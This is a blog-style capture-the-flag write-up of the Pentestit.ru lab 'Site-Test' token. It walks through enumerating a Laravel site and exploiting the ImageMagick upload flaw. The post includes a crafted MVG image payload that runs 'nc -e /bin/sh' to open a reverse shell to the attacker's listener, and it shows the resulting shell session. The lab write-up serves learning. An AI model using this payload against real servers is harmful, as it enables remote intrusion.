Pentestit.ru V.9 (Part 12) – Token Site-Test
It’s been a long time since my last Token tutorial, but today I bring here another Token tutorial, this time to Site-Test Token 😉
So, this one was a nice one, and it makes use of a “recent” vulnerability that i didn’t knew about, so it was a great learning experince as you will find out 🙂
It was kinda hard because I started it and then took a month of break, so when i got back to it I had to rethink it again ( glad I had my notes).
So, enough talk, lets get back into what it really matters.
As usual we start it by running an nmap scan from ssh server:
d.nash@tl9-ssh:/tmp$ nmap -A 172.16.0.3 Starting Nmap 6.00 ( http://nmap.org ) at 2016-07-25 19:02 MSK Nmap scan report for 172.16.0.3 Host is up (0.0012s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.0 | http-robots.txt: 1 disallowed entry |_/upload |_http-methods: No Allow or Public header in OPTIONS response (status code 405) |_http-title: CyBear 32C Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.62 seconds
With this information, we start by going into the site, and exploring it.
We run some tools, like dirb and others to enumerate what can be accessible on the server and we came up with the following list:
http://172.16.0.3/admin/signin http://172.16.0.3/resume/new http://172.16.0.3/.htaccess http://172.16.0.3/web.config http://172.16.0.3/index.html
We end up finding that the server was using Laravel, due to the source code of one of the pages above.
We first tried to access the admin page (without success) using all the username/password combination we had, even with domain cybear32c.lab or email.
So, we end up with a hand full of nothing in this page. And a lot of frustration.
We start to explore and try to look into more Laravel files beside web.config and .htaccess but we couldn’t find anything useful, besides finding that there was a upload folder.
So, we had the page resume/new that allowed us to upload files to the server, the first test was trying to upload a txt file, to try reach it via the upload folder, but we end up finding that we could only upload png or jpg images.
So we retried the process but this time with an image.
Guess what, you right, it uploaded successfully. But, (there’s always a but ;)) we couldn’t reach the image navigating to the upload folder.
So, here our headaches started. We knew we could send stuff to the server, but probably there was some name encryption going on, or even worst maybe the images were going to a folder were we would not be able to access.
Once again we started to dig into Laravel and we end up finding the following post: http://www.easylaravelbook.com/blog/2015/04/08/processing-file-uploads-with-laravel-5/
This gave us the impression that the file maybe was changing the name via na ID? So we started to seek for 1.png and 2.png etc etc. Guess what? FAIL!!! :X
A lot was made and researched
(I don’t want to make this post bigger than it should be)
So, we did a sneak peak at the write-up and there was a reference to image magick that was used by Laravel, and it ends up that it is the door we were looking for.
We started to do some research and investigate the vulnerability and came up with very good sources, and a good ideia of what we needed to do:
Useful information found:
There is also two good ones on the write-up:
So, now that we learned the vulnerability on ImageMagick we only need to use it.
And that was pretty simple.
We created our image:
~/pentestit.ru/site-test/image_magick$ cat image.png push graphic-context viewbox 0 0 640 480 fill 'url(https://www.anon.com/nothing.jpg"|nc -e /bin/sh 172.16.0.2 "23441)' pop graphic-context
Set up a listener in our ssh server, and uploaded the image.
Simple as that… it is the “risk” of this vulnerability, it makes so “easy” to execute commands remotely:
d.nash@tl9-ssh:~$ nc -nlvp 23441 listening on [any] 23441 ... connect to [172.16.0.2] from (UNKNOWN) [172.16.0.3] 25774 whoami www-data pwd /var/www/public
So now, we just need to find our token and open it:
find / -name *token* ... /token.txt cat /token.txt X****8**
There we go. Another Tutorial, another Token.
It looks easy? Well, it was not. xD It’s easy to make use of the vulnerability, a little test here and there, to know where to really apply the ” , but other than that, it’s preety simple.
The hard part was to discover that the website was making use of ImageMagick and that it was vulnerable.
Hope you enjoyed this one 🙂
See you in next one 😉